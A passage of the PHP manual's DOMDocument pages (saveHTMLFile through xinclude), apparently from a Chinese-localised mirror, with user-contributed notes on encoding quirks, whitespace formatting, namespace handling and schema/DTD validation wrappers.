// we want a nice output
$doc->formatOutput = true;

$root = $doc->createElement('html');
$root = $doc->appendChild($root);

$head = $doc->createElement('head');
$head = $root->appendChild($head);

$title = $doc->createElement('title');
$title = $head->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo 'Wrote: ' . $doc->saveHTMLFile("/tmp/test.html") . ' bytes'; // Wrote: 129 bytes

?>

参见

  • DOMDocument::saveHTML() - Dumps the internal document into a string using HTML formatting
  • DOMDocument::loadHTML() - Load HTML from a string
  • DOMDocument::loadHTMLFile() - Load HTML from a file

User Contributed Notes

RiKdnUA at mail dot ru 27-Jul-2013 04:15
saveHTMLFile() always saves the file in UTF-8. Even if the DOMDocument->encoding explicitly prescribe different from UTF-8 encoding. All "non-Latin" characters will be converted to HTML-entities. Tested in PHP 5.2.9-2 and PHP 5.2.17. Example:

<?php
$document=new domDocument('1.0', 'WINDOWS-1251');
$document->loadHTML('<html><head><title>Russian language</title></head><body>Русский язык</body></html>');
$document->formatOutput=true;
$document->encoding='WINDOWS-1251';
echo "Записано байт. Recorded bytes: ".$document->saveHTMLFile('html.html');
?>

Method recorded file in UTF-8 encoding. The contents of the file html.html:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312">
<title>Russian language</title>
</head>
<body>Dó??êèé ???ê</body>
</html>
naebeth at hotmail dot NOSPAM dot com 24-Sep-2012 10:03
Not mentioned in the documentation is the fact that using DOMDocument::saveHTMLFile() will automatically overwrite the contents if an existing file is used - with no notice, warning or error thrown.

Make sure you check the filename before using this function so that you don't accidentally overwrite important files.

Example:
<?php

$file = fopen('test.html', 'w');
fwrite($file, 'this is some text');
fclose($file);

$doc = new DOMDocument();
$doc->formatOutput = true;
$doc->loadHTML('<html><head><title>Test</title></head><body></body></html>');
$doc->saveHTMLFile('test.html');

// test.html
/*
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312">
<title>Test</title>
</head>
<body></body>
</html>
*/

?>

If you're dynamically generating a series of pages using DOMDocument objects, make sure you are also dynamically generating the file or directory names using something that can't easily be confused for an existing file/folder, or check if the desired path already exists before saving so that you don't accidentally delete previous files.
deep42thouSPAMght42 at y_a_h_o_o dot com 14-Jan-2011 03:46
I foolishly assumed that this function was equivalent to
<?php
file_put_contents($filename, $document->saveHTML());
?>
but there are differences in the generated HTML:
<?php
$doc = new DOMDocument();
$doc->loadHTML(
    '<html><head><title>Test</title></head><body></body></html>'
);
$doc->encoding = 'iso-8859-1';

echo $doc->saveHTML();
#<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
#<html>
#<head><title>Test</title></head>
#<body></body>
#</html>

$doc->saveHTMLFile('output.html');
#<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
#<html><head><meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312"><title>Test</title></head><body></body></html>

?>
Note that saveHTMLFile() adds a UTF-8 meta tag despite the ISO-8859-1 document encoding.


Dumps the internal XML tree back into a string

  • ? DOMDocument::saveHTMLFile
  • DOMDocument::schemaValidate ?
  • PHP Manual
  • DOMDocument
  • Dumps the internal XML tree back into a string

DOMDocument::saveXML

(PHP 5, PHP 7)

DOMDocument::saveXML — Dumps the internal XML tree back into a string

说明

public DOMDocument::saveXML ([ DOMNode $node [, int $options = 0 ]] ) : string

Creates an XML document from the DOM representation. This function is usually called after building a new dom document from scratch as in the example below.

参数

node

Use this parameter to output only a specific node without XML declaration rather than the entire document.

options

Additional Options. Currently only LIBXML_NOEMPTYTAG is supported.

返回值

Returns the XML, or FALSE if an error occurred.

错误／异常

DOM_WRONG_DOCUMENT_ERR

Raised if node is from another document.

更新日志

版本 | 说明
5.1.0 | Added the options parameter

范例

Example #1 Saving a DOM tree into a string

<?php

$doc = new DOMDocument('1.0');
// we want a nice output
$doc->formatOutput = true;

$root = $doc->createElement('book');
$root = $doc->appendChild($root);

$title = $doc->createElement('title');
$title = $root->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo "Saving all the document:\n";
echo $doc->saveXML() . "\n";

echo "Saving only the title part:\n";
echo $doc->saveXML($title);

?>

以上例程会输出：

Saving all the document:
<?xml version="1.0"?>
<book>
  <title>This is the title</title>
</book>

Saving only the title part:
<title>This is the title</title>

参见

  • DOMDocument::save() - Dumps the internal XML tree back into a file
  • DOMDocument::load() - Load XML from a file
  • DOMDocument::loadXML() - Load XML from a string

User Contributed Notes

liumenglei0211 at 163 dot com 17-Jan-2019 07:50
How to display two tags when the node content is empty.

<?php
$dom     = new \DOMDocument('1.0');
$document = $dom->createElement('document');
$document = $dom->appendChild($document);
$head = $dom->createElement('title','this is title');
$content = $dom->createElement('content','');
$document->appendChild($head);
$document->appendChild($content);
echo $dom->saveXML();
?>

In XML, they are considered exactly the same thing, and any parser should recognize both forms.However, you can write it this way if you still need it

<?php
echo $dom->saveXML($dom->documentElement, LIBXML_NOEMPTYTAG);
?>

Example 1：

<?xml version="1.0"?>
<document>
    <title>this is title</title>
    <content/>
</document>

Example 2：
<document>
    <title>this is test</title>
    <content></content>
</document>
Frank 29-Mar-2017 06:40
I would like to create a DOM document Xml Guestbook ..can somebody help to me?

Username, Comments in form read/write the task.

Thanks if somebody save me :)
Alexander Fedulin 05-Mar-2014 08:29
As @fbernodi said earlier, there is a problem with saveXML of DOMNode when you have a number of defined namespaces. The simple solution for this:

<code>
   // $node is some node of some other document
   $temp_document = new DOMDocument('1.0', 'utf-8');
   $temp_document->appendChild($temp_document->importNode($node, true));
   echo $temp_document->saveXML();
</code>
fbernoldi at gmail dot com 01-Aug-2013 08:24
Hello,

I had an unexpected behavior in some parsing code, because of this saveXML method that is saving the tags without namespace specification. If you try to load into a DOMDocument a string saved from a DOMNode that has a referenced namespace but it the original document it was not defined in that element, you get a not well formed xml. In the example you can see the issue and a possible solution, the other solution may be add to the ChildElement node the namespace reference (<testNS:ChildElement testNS="http://example.org">), but in my scenario it was not needed.

<?php

//Test XML
$test_xml =
"<?xml version=\"1.0\"?>
<testNS:RootNode xmlns:testNS=\"http://example.org\">
    <testNS:ChildElement>
        <testNS:AnotherChildElement>I'm a Another Child node.</testNS:AnotherChildElement>
    </testNS:ChildElement>
</testNS:RootNode>";

//We define our Test DOMDocument
$domDoc = new DOMDocument("1.0");
$domDoc->loadXML($test_xml);

//We use xpath to search ChildElement:
$domXPath = new DOMXPath($domDoc);
$domXPath->registerNamespace("testNS", "http://example.org");
$DOMNodeList_ChildElement = $domXPath->query("//testNS:RootNode/testNS:ChildElement");
$ChildElement = $DOMNodeList_ChildElement->item(0);

echo "Not usefull xml to load in another document:\n\n";
echo $domDoc->saveXML($ChildElement);

/* Output here:
 *
 * Not usefull xml to load in another document:
 *
 *  <testNS:ChildElement>
 *        <testNS:AnotherChildElement>I'm a Another Child node.</testNS:AnotherChildElement>
 *    </testNS:ChildElement>
 *
 */

/**
 * Function to help us clone the element to another document.
 * @param DOMElement $node The node to clone.
 * @param DOMDocument $doc The document where we are going to reference the elements.
 * @return DOMElement The new cloned element without namespace.
 */
function cloneNode($node, $doc) {
    //Create new element with the original localName (w/o namespace)
    $nd = $doc->createElement($node->localName);

    //Clone attributes
    foreach($node->attributes as $value)
        $nd->setAttribute($value->localName, $value->value);

    //No more childs then we finish.
    if (!$node->childNodes)
        return $nd;
    //We have childs, add them
    foreach($node->childNodes as $child) {
        if ($child->nodeName=="#text") //Only needed to clone text nodes, i.e. text comments, spaces, tabs. etc.
            $nd->appendChild($doc->createTextNode($child->nodeValue));
        else
            $nd->appendChild(cloneNode($child, $doc)); //recursion to clone all children.
    }
    return $nd;
}

//New Document to reference the new node without namespaces
$domDoc2 = new DOMDocument("1.0");

//We clone this node taking out the namespace
$new_node = cloneNode($ChildElement, $domDoc2);

echo "\n\nWe can load this into a DOMDocument without problems:\n\n";
echo $domDoc2->saveXML($new_node);

/*
 * We can load this into a DOMDocument without problems:
 *
 *    <ChildElement>
 *        <AnotherChildElement>I'm a Another Child node.</AnotherChildElement>
 *    </ChildElement>
 */

?>
xianrenb at gmail dot com 15-Jul-2012 10:54
If you want to save xhtml (in a string), you may try the following method:
<?php
    $doc = new DOMDocument('1.0');

    // ...

    $xhtml = (string) $doc->saveXML($doc->doctype);
    $xhtml .= "\n";
    $xhtml .= (string) $doc->saveXML($doc->documentElement);
?>
samstah at gmail dot com 19-Mar-2010 03:56
We discovered using DOMDocument::saveHTML() that it converts to HTML 4.01 compatible markup; rather than XHTML. The simple answer is to use saveXML() instead, although this adds the XML declaration to the top.

To qjerry.com at gmail.com, thanks for the pointer below - but I think that the simplest way seems to be using:
<?php $domDocument->saveXML($domDocument->documentElement); ?>

Of course, if you're dealing with XHTML, this will strip any <!DOCTYPE> declarations in the document too.
qjerry.com at gmail.com 04-May-2009 04:24
The simpliest (and probably the fastest) way to strip an XML declaration (<?xml version="1.0" ... ?>) out of output document, is to output child nodes of DOMDocument separately:

<?php

$document = new DOMDocument();
$document->load('/some/file.xml');

// this will also output doctype and comments at top level
foreach($document->childNodes as $node)
    $result .= $document->saveXML($node)."\n";

echo $result;

?>

This might be userful when dealing with browser compatibility issues, for example, well known problem with valid XHTML in IE6.
vikramvmalhotra at hotmail dot com 27-Jan-2009 03:49
if you are storing multi-byte characters in XML, then saving the XML using saveXML() will create problems. It will spit out the characters converted in encoded format.

<?php
$str = domdoc->saveXML(); // gives "&x#1245;" some encoded data
?>

Instead do the following

<?php
$str = domdoc->saveXML(domdoc->documentElement); // gives "保存しました" correct multi-byte data
?>
shinsh at shinmugen dot net 23-May-2008 07:57
Be careful, this function has been changed in 5.2.6 version. Adding a required parameter which is not that required wasn't the most intelligent idea ever, especially for a function which is often used.

To fix your programs if you have an error, fill the first parameter like this:

$dom->saveXML($dom->documentElement);

Why didn't the devs simply implement this as optional parameter, fixing the default parameter as documentElement?
Kriogen 26-Dec-2007 12:57
Create before test.xml with:
<?xml version="1.0" encoding="utf-8"?>
<Photos>
</Photos>

and past after in your php-file:

<?php
$simp = simplexml_load_file('test.xml');
$node = $simp->addChild('home');
$node->addChild('mychild', 'insert text');
$s = simplexml_import_dom($simp);
$s->saveXML('test.xml');
?>

This code creating a child-nod in the root.
Owner http://www.mensfashion.ru
JITR 02-Aug-2007 05:10
Comment to `devin at SPAMISBAD dot tritarget dot com''s post:

Thanks for pointing out the pitfalls of `formatOutput' vs. `load*()'. This has certainly saved me from some possible surprises.

I think the seemingly strange behaviour can be explained. Warning: The following stuff is mostly based on deductions and experiments. Much less on studying the sources and specs (I'm not sure some of these would provide answer anyway, at least not easily).

As you point out, `preserveWhiteSpace' must be set before loading the DOM from the source string (I'm working with `loadXML()' but I believe the situation should be the same with `load()' you used). This looks logical, as this property seems to control the parsing and DOM creation process during which text nodes containing the whitespace are either included or dropped. This can be proven by dumping the DOM structure and comparing the results based on the value of `preserveWhiteSpace'. With `preserveWhiteSpace' set to `FALSE', no text nodes containing whitespace will be present in the returned DOM. When this property is `TRUE', these nodes will be present.

Note: When speaking about the whitespace in the previous paragraph, we're most certainly speaking about so called `whitespace in element content' or `element content whitespace', if I'm not mistaken. See also my comment in the notes of `DOMText->isWhitespaceInElementContent()' method.

As for the mysterious effect on the output of `saveXLM()', I think the explanation lies in the presence or absence of the above mentioned whitespace text nodes. This was also proven by experiments: After adding such a node into a DOM which contained none (the DOM was created using `loadXML()' with `preserveWhiteSpace' set to `FALSE'), the output formatting got affected in a such a way, the formatting got lost for the rest of the document after the added node. I think the presence of whitespace text nodes forces such rendering, that the content of these nodes is used to separate adjoining nodes thus disabling default formatting. Only when there are no such text nodes present, the ouput formatting takes effect (provided the `formatOutput' is set to `TRUE', of course).

Well, the thing I don't really understand is how you did get an output of a signle line with `formatOutput' set to `TRUE'. This has happened to me when no whitespace text nodes were present (ie. when loading the XML with `preserveWhiteSpace' set to `FALSE') *and* with `formatOutput' set to *`FALSE'* (with the opposite value of `formatOutput', the formatting should do it's work and you should not end up with just one line). But I haven't seen your source. Perhaps you had whitespace nodes containing no new-lines in your DOM?

As for the CAUTION about root element, I didn't see any problems with empty root element neither in shortened nor full form. What did you have in mind, when you said it `WORKS' or `DOES NOT WORK'?
Sander 25-Apr-2007 05:35
Note that for large DOM trees (tens of thousands of elements nested at least a few levels deep), setting formatOutput to true drives up memory usage to rather insane levels when you call saveXML(). (Tested with PHP 5.2.1) Pretty output is not worth that cost.
nevyn at NOSPAM dot email dot PLEASE dot it 27-Dec-2006 01:41
A little function to get the full xml contents of a Xml node.

function innerXml($node)
{
    $out = $node->ownerDocument->saveXML($node);
    $re = "{^<(\\w*)(?:\\s*\\w+=(?:\"[^\"]*\"|\'[^\']*\'))*\\s*>(.*)</\\1>$}";
    preg_match($re, $out, $mat);
    return $mat[2];
}
devin at SPAMISBAD dot tritarget dot com 14-Aug-2006 10:52
It took some searching to figure this one out. I didn't see much in the way of explaining this glitch in the manual thus far. (For PHP5 I believe)

formatOutput = true; appears to fail when the origin of the DOM came from a file via load(). EX:

<?php
    $dom = new DOMDocument();
    $dom->load ("test.xml");
    $dom->formatOutput = true;

    $new_tag = $dom->createElement ('testNode');
    $new_tag->appendChild (
        $dom->createElement ('test', 'this is a test'));
    $dom->documentElement->appendChild ($new_tag);

    printf ("<pre>%s</pre>", htmlentities ($dom->saveXML()));
?>

Will not indent the output and will display the modified nodes all in one long line. Makes for editing a config.xml a bit difficult when saving to a file.

By adding the preserveWhiteSpace = false; BEFORE the load() the formatOutput works as expected. EX:

<?php
    $dom = new DOMDocument();
    $dom->preserveWhiteSpace = false;
    $dom->load ("test.xml");
    $dom->formatOutput = true;

    $new_tag = $dom->createElement ('testNode');
    $new_tag->appendChild (
        $dom->createElement ('test', 'this is a test'));
    $dom->documentElement->appendChild ($new_tag);

    printf ("<pre>%s</pre>", htmlentities ($dom->saveXML()));
?>

CAUTION: If your loaded xml file (test.xml) has an empty root node that is not shortened or has no children this will NOT work.

Example:

DOES NOT WORK:
<?xml version="1.0"?>
<root>
</root>

WORKS:
<?xml version="1.0"?>
<root/>

WORKS:
<?xml version="1.0"?>
<root>
  <!-- comment -->
</root>

WORKS:
<?xml version="1.0"?>
<root>
  <child/>
</root>
26-Mar-2006 04:20
I used the function posted by "joe" but the following works to me for get the innerXML
<?php
$itemLeido = $XMLRespuesta->getElementsByTagName("articulos");
foreach($itemLeido as $node) {
    echo($node->ownerDocument->saveXML($node));
}
?>
mswiercz at mwerk dot com 10-Sep-2004 03:43
Quick tip to minimize memory when generating documents with DOM.

Rather than using
   $xmlStr = DOMDocument->saveXML();
   echo $xmlStr;

to dump a large DOM to the output buffer, use a PHP output stream, as in

   DOMDocument->save('php://output');

A lot of memory will be saved when generating large DOMs.
padys at tlen dot pl 05-Aug-2004 07:36
When you save whole document:
DOMDocument->saveXML() produces string in encoding defined in property DOMDocument->encoding.

When you save only one node:
DOMDocument->saveXML(DOMNode) produces always string in UTF-8.


Validates a document based on a schema

  • ? DOMDocument::saveXML
  • DOMDocument::schemaValidateSource ?
  • PHP Manual
  • DOMDocument
  • Validates a document based on a schema

DOMDocument::schemaValidate

(PHP 5, PHP 7)

DOMDocument::schemaValidate — Validates a document based on a schema

说明

public DOMDocument::schemaValidate ( string $filename [, int $flags = 0 ] ) : bool

Validates a document based on the given schema file.

参数

filename

The path to the schema.

flags

A bitmask of Libxml schema validation flags. Currently the only supported value is LIBXML_SCHEMA_CREATE. Available since PHP 5.5.2 and Libxml 2.6.14.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

更新日志

版本 | 说明
5.5.2 | Added the flags parameter

参见

  • DOMDocument::schemaValidateSource() - Validates a document based on a schema
  • DOMDocument::relaxNGValidate() - Performs relaxNG validation on the document
  • DOMDocument::relaxNGValidateSource() - Performs relaxNG validation on the document
  • DOMDocument::validate() - Validates the document based on its DTD

User Contributed Notes

mmamsch at googlemail dot com 16-Sep-2015 10:01
A note for people trying to validate complex schemas with PHP.  It seems that libxml will not automatically try to import referenced schemas, but simply skip the validation if the schemas were not explicitly imported.

In our example we tried to validate an XML file against a schema with the namespace "xttp://automotive-his.de/200706/rif" that contains a reference to the namespace "xttp://automotive-his.de/200706/rif-xhtml":

  <xsd:complexType name="XHTML-CONTENT">
    <xsd:sequence>
      <xsd:any namespace="xttp://automotive-his.de/200706/rif-xhtml"/>
    </xsd:sequence>
  </xsd:complexType>

which basically says that an xhtml-content element can contain any element from the rif-xhtml namespace.

However since libxml does not know where to find the schema file, it will stop the validation if the elements from the referenced namespace, passing also document with invalid xhtml content as valid.

The solution was to create a combined schema, which contains import statements for all files matching the referenced schemas:

<xsd:schema xmlns:xs="xttp://www.w3.org/2001/XMLSchema">
<xs:import namespace="xttp://automotive-his.de/200706/rif-xhtml" schemaLocation="rif-xhtml.xsd"/>
<xs:import namespace="xttp://automotive-his.de/200706/rif" schemaLocation="rif.xsd"/>
<xs:import namespace="xttp://www.w3.org/XML/1998/namespace" schemaLocation="../xml.xsd"/>
</xsd:schema>

Note that the schemaLocation tells the validator, where to find the files for the corresponding namespaces. When validating the XML document against this combined schema, libxml validated correctly the content inside the XHTML-Content.

Hope this helps someone out there.
wkoehler at ce-gmbh dot com 11-Jan-2011 02:37
In older versions of PHP5 this function might cause error messages when dealing with namespaces. I had problems with PHP 5.2.14 which comes with libXML V2.6.16. After switching to PHP 5.3.5 with libXML V2.7.7 I no longer had problems. Took me only about 30 hrs to figure that one out.
NetPanther 27-Mar-2009 01:42
Initial situation:
- Debian Lenny
- Apache 2 with PHP 5.2.6
- libxml 2.6.32

Problem: While trying to validate a manually created (!) DOMDocument against an existing XML Schema, I ran into a warning like the one below. Validation fails, even though the document IS valid and the command line tool xmllint confirms this (even with libxml 2.6.32, so this must be a problem with DOM). The validation works fine with libxml 2.7.3.

Warning: DOMDocument::schemaValidate() [domdocument.schemavalidate]: Element 'YourRootElementName': No matching global declaration available for the validation root. in /var/www/YourFile.php on line X

Solution: As libxml 2.7.3 is not provided for Debian Lenny yet and this problem seems to be caused by DOM (s.o.), I currently use the following workaround on my machines. DOM obviously has some namespace problems with documents, that have been created manually (i.e. they were not loaded from a file).

So my workaround is saving the DOMDocument temporarily, re-loading it and then validating the temporary DOMDocument. Strangely enough the validation of the same document (= same content) now works. Sure, creating a temporary file is not a nice solution, but unless this bug is fixed, this workaround should do just fine.

<?php

// Works with libxml 2.7.3 and higher.
public function isValid()
{
  return $this->dom->schemaValidate('schema.xsd');
}

// Workaround for prior libxml versions, e.g. 2.6.32.
public function isValid()
{
  // Create temporary file and save manually created DOMDocument.
  $tempFile = time() . '-' . rand() . '-document.tmp';
  $this->dom->save($tempFile);

  // Create temporary DOMDocument and re-load content from file.
  $tempDom = new DOMDocument();
  $tempDom->load($tempFile);

  // Delete temporary file.
  if (is_file($tempFile))
  {
    unlink($tempFile);
  }

  // Validate temporary DOMDocument.
  return $tempDom->schemaValidate('schema.xsd');
}

?>
poletto at jeuxvideo dot com 13-Feb-2008 12:32
I had a tricky issue using this method, i thought it was bug but i realized i misundestood something about namespaces.
When you want to use a schema to describe an xml document, you basically put the default namespace to a personnal namespace (and you refer to this namespace in the targetNamespace attribute of your schema).

<?xml version="1.0" encoding="utf-8"?>
<root xmlns="http://my.uri.net">
  <elt>
    <x>blabla</x>
    <y>blabla</y>
  </elt>
</root>

That xmlns attribute specifies a "default namespace" and means that the root element and its children are in this namespace.
What i misunderstood is that, there's no way with the DOM api to specify a "default namespace" for each children of the root element.
Thus you may need to use createElementNS() and createAttributeNS() methods for each created element or attribute in the document specifying the URI of your namespace each time ("http://my.uri.net").

This only applies if you want to validate a document built with the API, not with a document loaded from an xml file or stream.
justin at redwiredesign dot com 08-Nov-2006 03:32
In his previous comment, Mike A wrote about validating documents using an XSD. However, you can validate without one. In my case, I needed to ensure that the content entered was just valid XML or not, and I couldn't find an XSD to support that. So I wrote this:

public static function validate($xml)
{
    libxml_use_internal_errors(true);

    $doc = new DOMDocument('1.0', 'utf-8');
    $doc->loadXML($xml);

    $errors = libxml_get_errors();
    if (empty($errors))
    {
        return true;
    }

    $error = $errors[0];
    if ($error->level < 3)
    {
        return true;
    }

    $lines = explode("\r", $xml);
    $line = $lines[($error->line)-1];

    $message = $error->message.' at line '.$error->line.':<br />'.htmlentities($line);

    return $message;
}

The catch here is that the function only checks for the first error is LIBXML_ERR_FATAL, which would break XSL/XML compilation.

In my experience, the errors are returned by libxml_get_errors in descending severity, so this may be an OK thing to do.
Mike A. 17-Feb-2006 12:03
For more detailed feedback from DOMDocument::schemaValidate, disable libxml errors and fetch error information yourself.  See http://php.net/manual/en/ref.libxml.php for more info.

example.xml
<?xml version="1.0"?>
<example>
    <child_string>This is an example.</child_string>
    <child_integer>Error condition.</child_integer>
</example>

example.xsd
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
elementFormDefault="qualified">
    <xs:element name="example">
        <xs:complexType>
            <xs:sequence>
                <xs:element name="child_string" type="xs:string"/>
                <xs:element name="child_integer" type="xs:integer"/>
            </xs:sequence>
        </xs:complexType>
    </xs:element>
</xs:schema>

<?php

function libxml_display_error($error)
{
    $return = "<br/>\n";
    switch ($error->level) {
        case LIBXML_ERR_WARNING:
            $return .= "<b>Warning $error->code</b>: ";
            break;
        case LIBXML_ERR_ERROR:
            $return .= "<b>Error $error->code</b>: ";
            break;
        case LIBXML_ERR_FATAL:
            $return .= "<b>Fatal Error $error->code</b>: ";
            break;
    }
    $return .= trim($error->message);
    if ($error->file) {
        $return .=    " in <b>$error->file</b>";
    }
    $return .= " on line <b>$error->line</b>\n";

    return $return;
}

function libxml_display_errors() {
    $errors = libxml_get_errors();
    foreach ($errors as $error) {
        print libxml_display_error($error);
    }
    libxml_clear_errors();
}

// Enable user error handling
libxml_use_internal_errors(true);

$xml = new DOMDocument();
$xml->load('example.xml');

if (!$xml->schemaValidate('example.xsd')) {
    print '<b>DOMDocument::schemaValidate() Generated Errors!</b>';
    libxml_display_errors();
}

?>

Old error message:
Warning: DOMDocument::schemaValidate() [function.schemaValidate]: Element 'child_integer': 'Error condition.' is not a valid value of the atomic type 'xs:integer'. in example.php on line 40

New error message:
DOMDocument::schemaValidate() Generated Errors!
Error 1824: Element 'child_integer': 'Error condition.' is not a valid value of the atomic type 'xs:integer'. in example.xml on line 4


Validates a document based on a schema

  • ? DOMDocument::schemaValidate
  • DOMDocument::validate ?
  • PHP Manual
  • DOMDocument
  • Validates a document based on a schema

DOMDocument::schemaValidateSource

(PHP 5, PHP 7)

DOMDocument::schemaValidateSource — Validates a document based on a schema

说明

public DOMDocument::schemaValidateSource ( string $source [, int $flags ] ) : bool

Validates a document based on a schema defined in the given string.

参数

source

A string containing the schema.

flags

A bitmask of Libxml schema validation flags. Currently the only supported value is LIBXML_SCHEMA_CREATE. Available since PHP 5.5.2 and Libxml 2.6.14.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

更新日志

版本 | 说明
5.5.2 | Added the flags parameter

参见

  • DOMDocument::schemaValidate() - Validates a document based on a schema
  • DOMDocument::relaxNGValidate() - Performs relaxNG validation on the document
  • DOMDocument::relaxNGValidateSource() - Performs relaxNG validation on the document
  • DOMDocument::validate() - Validates the document based on its DTD

User Contributed Notes

There are no user contributed notes for this page.


Validates the document based on its DTD

  • ? DOMDocument::schemaValidateSource
  • DOMDocument::xinclude ?
  • PHP Manual
  • DOMDocument
  • Validates the document based on its DTD

DOMDocument::validate

(PHP 5, PHP 7)

DOMDocument::validate — Validates the document based on its DTD

说明

public DOMDocument::validate ( void ) : bool

Validates the document based on its DTD.

You can also use the validateOnParse property of DOMDocument to make a DTD validation.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。 If the document has no DTD attached, this method will return FALSE.

范例

Example #1 Example of DTD validation

<?php
$dom = new DOMDocument;
$dom->load('book.xml');
if ($dom->validate()) {
    echo "This document is valid!\n";
}
?>

You can also validate your XML file while loading it:

<?php
$dom = new DOMDocument;
$dom->validateOnParse = true;
$dom->load('book.xml');
?>

参见

  • DOMDocument::schemaValidate() - Validates a document based on a schema
  • DOMDocument::schemaValidateSource() - Validates a document based on a schema
  • DOMDocument::relaxNGValidate() - Performs relaxNG validation on the document
  • DOMDocument::relaxNGValidateSource() - Performs relaxNG validation on the document

User Contributed Notes

cabral dot brc at gmail dot com 08-Sep-2010 12:46
I was trying to validate my SVG file just to get the IDs with getElementById(),

<?xml version="1.0"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<text id="text_titulo" x="150" y="20" font-family="Arial" font-size="15px" style="font-weight:bold;">Title</text>
<text id="text_subtitulo" x="200" y="35" font-family="Arial" font-size="10px">Sub Title</text>
<g transform="translate(0,50) scale(0.1)">
  <a id="a_AC" ...... >
    <polygon id="polygon_AC" ....... />
  </a>
</g>
</svg>

but when calling $dom->load(), it was getting the errors "failed to open stream" and "Validation failed: no DTD found !I/O warning : failed to load external entity"
so I created my own validation wrapper (I just want to find the IDs with getElementById() )

<?php
  $docSVG = new DOMDocument();
  $docSVG->load(realpath($filepath));
  setAllId($docSVG);

function setAllId($DOMNode){
  if($DOMNode->hasChildNodes()){
    foreach ($DOMNode->childNodes as $DOMElement) {
      if($DOMElement->hasAttributes()){
        $id=$DOMElement->getAttribute("id");
        if($id){
          $DOMElement->setIdAttribute("id",$id);
        }
      }
      setAllId($DOMElement);
    }
  }
}
?>
a dot schaffhirt at sedna-soft dot de 17-Sep-2008 02:22
When validating documents with this method there are two issues I don't like about it. First, it creates a bunch of warnings, which one would not expect, as the plot of calling this method is preventing any warnings that could occur when erroneously relying on the document's validity. Second, it only returns a boolean with no chance of getting additional details about the reasons for rendering invalid.

That's the reason for me to use a little wrapper, which I post here in case anyone finds it useful.

Please note that it only works with PHP5 or later.

<?php
    class MyDOMDocument {
        private $_delegate;
        private $_validationErrors;

        public function __construct (DOMDocument $pDocument) {
            $this->_delegate = $pDocument;
            $this->_validationErrors = array();
        }

        public function __call ($pMethodName, $pArgs) {
            if ($pMethodName == "validate") {
                $eh = set_error_handler(array($this, "onValidateError"));
                $rv = $this->_delegate->validate();
                if ($eh) {
                    set_error_handler($eh);
                }
                return $rv;
            }
            else {
                return call_user_func_array(array($this->_delegate, $pMethodName), $pArgs);
            }
        }
        public function __get ($pMemberName) {
            if ($pMemberName == "errors") {
                return $this->_validationErrors;
            }
            else {
                return $this->_delegate->$pMemberName;
            }
        }
        public function __set ($pMemberName, $pValue) {
            $this->_delegate->$pMemberName = $pValue;
        }
        public function onValidateError ($pNo, $pString, $pFile = null, $pLine = null, $pContext = null) {
            $this->_validationErrors[] = preg_replace("/^.+: */", "", $pString);
        }
    }
?>

<?php
    // $doc is a DOMDocument object
    $myDoc = new MyDOMDocument($doc); // copy constructor

    // do anything with $myDoc that you would with $doc

    $isValid = $myDoc->validate(); // won't create warnings
    if (!$isValid) {
        print_r($myDoc->errors); // the array all warnings are collected in
    }
?>

Maybe you need to change the the part
preg_replace("/^.+: */", "", $pString)
to something different depending on your system's error reporting settings (HTML or plain text), whatsoever

Best Regards,

Anja
darren at viamedia dot co dot za 05-Aug-2008 07:19
If you are loading xml with the intention of validating it against an internal dtd and you have experienced issues with the validation it could be related to missing LIBXML constants.

I found this post by "aidan at php dot net" in root level dom docs and thought it might be more useful here:
As of PHP 5.1, libxml options may be set using constants rather than the use of proprietary DomDocument properties.

DomDocument->resolveExternals is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDATTR

DomDocument->validateOnParse is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDVALID

PHP 5.1 users are encouraged to use the new constants.

Example:
<?php
$dom = new DOMDocument;
// Resolve externals
$dom->load($file, LIBXML_DTDLOAD|LIBXML_DTDATTR);
// OR
// Validate against DTD
$dom->load($file, LIBXML_DTDLOAD|LIBXML_DTDVALID);
$dom->validate();
?>


Substitutes XIncludes in a DOMDocument Object

  • ? DOMDocument::validate
  • DOMDocumentFragment ?
  • PHP Manual
  • DOMDocument
  • Substitutes XIncludes in a DOMDocument Object

DOMDocument::xinclude

(PHP 5, PHP 7)

DOMDocument::xinclude — Substitutes XIncludes in a DOMDocument Object

说明

public DOMDocument::xinclude ([ int $options = 0 ] ) : int

This method substitutes » XIncludes in a DOMDocument object.

Note:

Due to libxml2 automatically resolving entities, this method will produce unexpected results if the included XML file have an attached DTD.

参数

options

libxml parameters. Available since PHP 5.1.0 and Libxml 2.6.7.

返回值

Returns the number of XIncludes in the document, -1 if some processing failed, or FALSE if there were no substitutions.

范例

Example #1 DOMDocument::xinclude() example

<?php

$xml = <<<EOD
<?xml version="1.0" ?>
<chapter xmlns:xi="http://www.w3.org/2001/XInclude">
 <title>Books of the other guy..</title>
 <para>
  <xi:include href="book.xml">
   <xi:fallback>
    <error>xinclude: book.xml not found</error>
   </xi:fallback>
  </xi:include>
 </para>
</chapter>
EOD;

$dom = new DOMDocument;

// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;

// load the XML string defined above
$dom->loadXML($xml);

// substitute xincludes
$dom->xinclude();

echo $dom->saveXML();

?>

以上例程的输出类似于：

<?xml version="1.0"?>
